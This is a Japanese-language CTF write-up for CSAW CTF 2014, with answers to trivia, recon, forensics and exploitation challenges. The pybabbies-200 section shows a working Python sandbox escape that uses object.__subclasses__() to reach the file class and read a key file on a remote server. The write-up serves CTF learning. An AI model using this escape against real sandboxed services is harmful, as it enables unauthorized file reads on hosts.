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CSAW CTF 2014 writeup

trivia

Shameless plug

問題文: This is the name of the new USENIX workshop that featured papers on CTFs being used for education.
ググった。answer: 忘れた

pop pop

問題文: This x86 instruction is an alias for pop eip/rip
知ってた。answer: RET

geohot pls

問題文: This is what geohot and other members of the CTF community are calling live streamed CTF competitions where spectators can watch competitors screens as they solve challenges.
知ってた。answer: livectf

We don't know either

問題文: On this day in November, the CSAW Career Fair takes place in Brooklyn, New York.
csawのtopに書いてある。answer: 14

Twitter will you give me @kchung?

問題文: This is the Twitter handle of the student who runs CSAW CTF.
judgeのページに書いてある。answer: poopsec

recon

Julian Cohen

Figure out how to get Julian to go on a date with you.
HINT: Julian uses OkCupid
Written by HockeyInJune

OkCupidでHockeyInJuneのページを見ると、flagが表示された。
flag{flowers_and_wine_will_get_me}

forensics

dumpster diving-100

fileコマンド打つと、ELF 64-bitって出るけど動かない。strings firefox.mem | grep 'flag{'
flag{cd69b4957f06cd818d7bf3d61980e291}

whynotsftp-200

"FTP Data"を右クリックして、Copy -> Bytes (Hex Stream) in the packet details-window (not the packet bytes-window)で切り出していって、Pythonで結合した。

import binascii

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zip_parts8='6638c1f9bbfb094bbb424a82d9ef445bfb063db6027e051005ee04b654fb8aa28b1799a274dcced3511143fa381c64e96ba5a4b2ee08c1610d4a057377ad088ba814ed7e1aa1f932829e73c950b4b14f5a235590db83bea97bbb029ef98cacace37a8318f5b15ad578d0f0e6b25c97aae0f0c7f19ddac51f7126021aa54b91dc0a5dc9c4f8c485c33c57507f88da68118b0bbda0ed12ef672752c433fdf801cda396ecd03109eb4aad9c816592126b73513f5675fb626ee773d0673586f905890245c9626b88f1205d8ff676bd721dcfe54468683eea6dde16ddd5d19453a55e55f57bec05bbfa6d14e1809095948fc3f8cca3b7534032735dc6c407c8fe9784ec1d6203bb43548f309b8d854e480586e6eb50a5c868ad59248c603b1e071db7c6876e11ab8fe3f8f447e565352dbcf356b3236b120ddec1c40c4ade0f9c1395e99e0c81c5958b4a07c7664351103b434fa595dbbbe87c84cbbf75050f0d23ff85a483f2ed66c466832be4cbadf97359763b89ad6a2c696bfb0cd709610a368c8de98161bd3904907fe1cd82afd25360aaa0434e5770a64c7da670bd4f148a41aac383743c292e9402b9d9cb9956f90da84bd455fd53e4131a61112a793b0af595c3c869c6bf942a5ce090b46b15338d03ff70db188b4a2eff96d9972199c7f1a8b7c106ee718fc7cc4f725b66df77b5ffd18e7dff83e8c1f79b814b8939a55c7cbfbb43324b52acf7613c7f46e8b9392a1c4fd72c238325e33d854da09e80f19726c4a7af58cdcc7c49486735f2754cc681cd648d5242c78dd5c577a8ea062e8bb10752c3d09631ad53d30e4559271306b506e17d35e5717767bedd2664c6328caec5c5e2c4629a887f28ad89e271d02acc71adc219781658b9d58008c33f1aea38602ebd2174b40e8bffdc0d141be2d693dee62aba57bc8fcb0ff9f397c41434cdf52026682af2064ac36a3460f6ca64b73c64098fec0d857353fe21a48a333c00487dd632e329addb6e3017640f564f1a83ff4159f15b6a5cecb9cdbc30ef16304b9ea320072ab5aa589fa17163bae4b82d0a429f75d2f5297894d609e5047ae235d369814cdd1d6f1dd17d6de6faa464f00ba25bbe9bd91ebf3d016328b450f8bda18a32ff34aa7149c8a5885f217a1bb2e6578807869897a85df21830659737f7e44447dfe407642bcf3027cef4231c9ee67e6cd68991fb6326deb9ccfb496e830c5c2d58aebc0ad0241c4b19ed7f870f488cb12ada8836d0b9d11d32c79ac13294bd6ff188119045af4cfc7874ef242ecf84180ca40b77922f2e3796d7c2e5d8619cafcebe0aa4b2e3c6da86da8cb3f4778ac04b3b981b956f2c9afec432b590fdbc59d9f7881924ae7581dad1082e80ff2c1248b0d30fb797ae0c8ba797c79b62c14b12c3ca57b0e5eb13e7085dac73b562099a0c698d24a98d2d7c70984d7b560d6756dc2e30af58e5f6f95421bd8a9a6446615b87feed82e26d1ac7db858142e2a975ce060d5fa32f499636f96dcdf2b4864b48cf95ae6d512de39a74c0dca0b12c97d4a7141190868a3b11b235e9825b843fb4133266589058a3d4b77161c39d01fecc72686e237dfedb1b2c82338637186fc2f8598b3e804ab6cf54bd596dee29a812a4b2488e72681756202722d9a4317e95c92cd4a4e648a7d74357f6f66cd524206414bac5a41a9527d577b136c89d5478b42bc1d5c73ea1a9c9471a45f309b9803351c271d033806a97bb2a62b5b216aa387623c52f2c3ef9ac3f319122fe59709da496d1855f424209f7004dabcab4446fa8986a4a60b9c2a6c6a271c98f8d69c172fdfa1cd060c409ff82e917d75f993e2eecbe8a3c1ecd98c2afb89defea5f24a825c2c8907911285031ac79642929f73f7a050b6d669b81d79f2582b5c30046cfe43f873c8a12a4c785fab88d94c97af278144b4ff305d004c7c6147302ed1f567a2155465e172bbd1e0641fbdbdb820f775893a18b87b70fa406b4e8c3f21b8a9d771363031a0a6f179e96ccdfcb73e9792909bf4cd0fb467b02d48b08c8'
zip_parts9='d6ac85cf6a780485effbb23e39e5c22b404eabe18dfeeec7fd4e2b509f82f3f135ef089887b7efe58ee6f67ce72cafa3a1d76dc527023ee0faf3e0854a1ce605dec62158c349996f7dba72adb4dd4bbbd57739b666d53caaf3e6749843afb86e3aa94a8567cdd1dea0b1dcefb1e236bc72bdd6ede4d3b620efd065cb691648e8664f51a3f5b66009ea765cb9da02efcb31489bb7771cba891d1d57e65bf376bb6df798370ea8b901f12653b38d8c736759077e7a5ceb85f0994046417ee747f67c2641f0c68a6f73490a57750d268aa0c06320703a356669b129a83596f3e96e4cc561cd595a05ae75c5d73c8425a5a1feb76cc018e6ff9c9c5c1ff2ad39b40778aef6b1128c7778b8ac16137bc69e12c21e5f8707338fca1f44bdd5366668be244e73fde798f1ffdc575c35ff4fd6e31c5dc567d5d1c7065e374a2a482c24ef117488148a85f602789dc9132793ece784f2433f15890a363bad18cd8c0c039a026af68d02c4b3f6b6bdee51f8f655c89af75211084895e663fdcdfdb78fd0459a9165ffa5b6b5a3773e39f82df83e2357c27cfda38fb7133975a77896289589b256742466b897a8b0efd3444eebdccaf5acb5b100bf60d06060147a5dd2b8ffd5ab98a506d5219d99310be042125b226ae638d95a83eda92400949bcd6f2f8a7dfb6f592f126063ea692492208e44b72e4ce634cf3b505afa74c4ff47b3c2d1afc900fb77a404b070ea9a3fa79dadf0b0387f9bd596e8f391b687240290aff6c00736de97cdca8a801f99e3d9de562fc0f79ac092a17934d88fc7ac62ead45ede7febc69d1008e83aef9dbc84297bdc1d4c7fb81f56919d38d1d59d6bbc036107b766af2a00c896829af98046a0de16be0fec2f074167ab2b80990ecdc0c087a2fde7f9a470325abc3056a1eb2eb29e53ed5f0b08ff4b114d8122e4f6651471efda32268075bf93ece968ed79dd025d824f9c0ec1eb7504d4c736f00160260b24a3053b73c1443b3cd6492dc6290633c049a241f7f4fd0afdca4e711d7fee84bf458811fe5b692d82aa28029ba8147d51baac14147df16b5a7d3abc486972f86efb1ec12b2954c3cef361063caf0c7f6a982f0984cff99c52e7b6283fee0aee37ad73dc828df22646f38499ad7671e9e135e4ff968423a1503893bfa6ef42faf76493f45fb52c65d6fbabb1febfbcfa2be03a0003fddf9272997fb4d4d8ce548aff965c7f0c40405901fcef41ff7f3be80bf91d6a72440a29fbc7577f2f396965a94a892f21ff07504b01021e03140000000800256a2d453849cf01962e0000aa320000080018000000000000000000a48100000000666c61672e706e675554050003167c145475780b000104e803000004e8030000504b050600000000010001004e000000d82e00000000'

zip_parts=zip_parts1+zip_parts2+zip_parts3+zip_parts4+zip_parts5+zip_parts6+zip_parts7+zip_parts8+zip_parts9

binary=binascii.a2b_hex(zip_parts)
 
with open("flag.zip", "wb") as f:
    f.write(binary)

出てきたzipを解凍すると、flag.pngが出てくる。
flag{91e02cd2b8621d0c015197f645668c5c4}

Obscurity-200

写真をドラッグしてみると何かを選択するのでそれをコピペする。
flag{security_through_obscurity}

exploitation

bo-100

nc 54.165.176.104 1515すると以下の文が表示される。
Welcome to CSAW CTF!
Time to break out IDA Demo and see what's going on inside me. :]

IDAでStrings windowを見るとflagが見える。
flag{exploitation_is_easy!}

pybabbies-200

takemaru$ nc 54.165.210.171 12345
Welcome to my Python sandbox! Enter commands below!
>>> all_classes = []
>>> for entry in ().__class__.__bases__[0].__subclasses__():
...     all_classes.append(entry.__name__)
...
>>> all_classes.index("file")
40
>>> print(().__class__.__bases__[0].__subclasses__()[40]("./key").read())
flag{definitely_not_intro_python}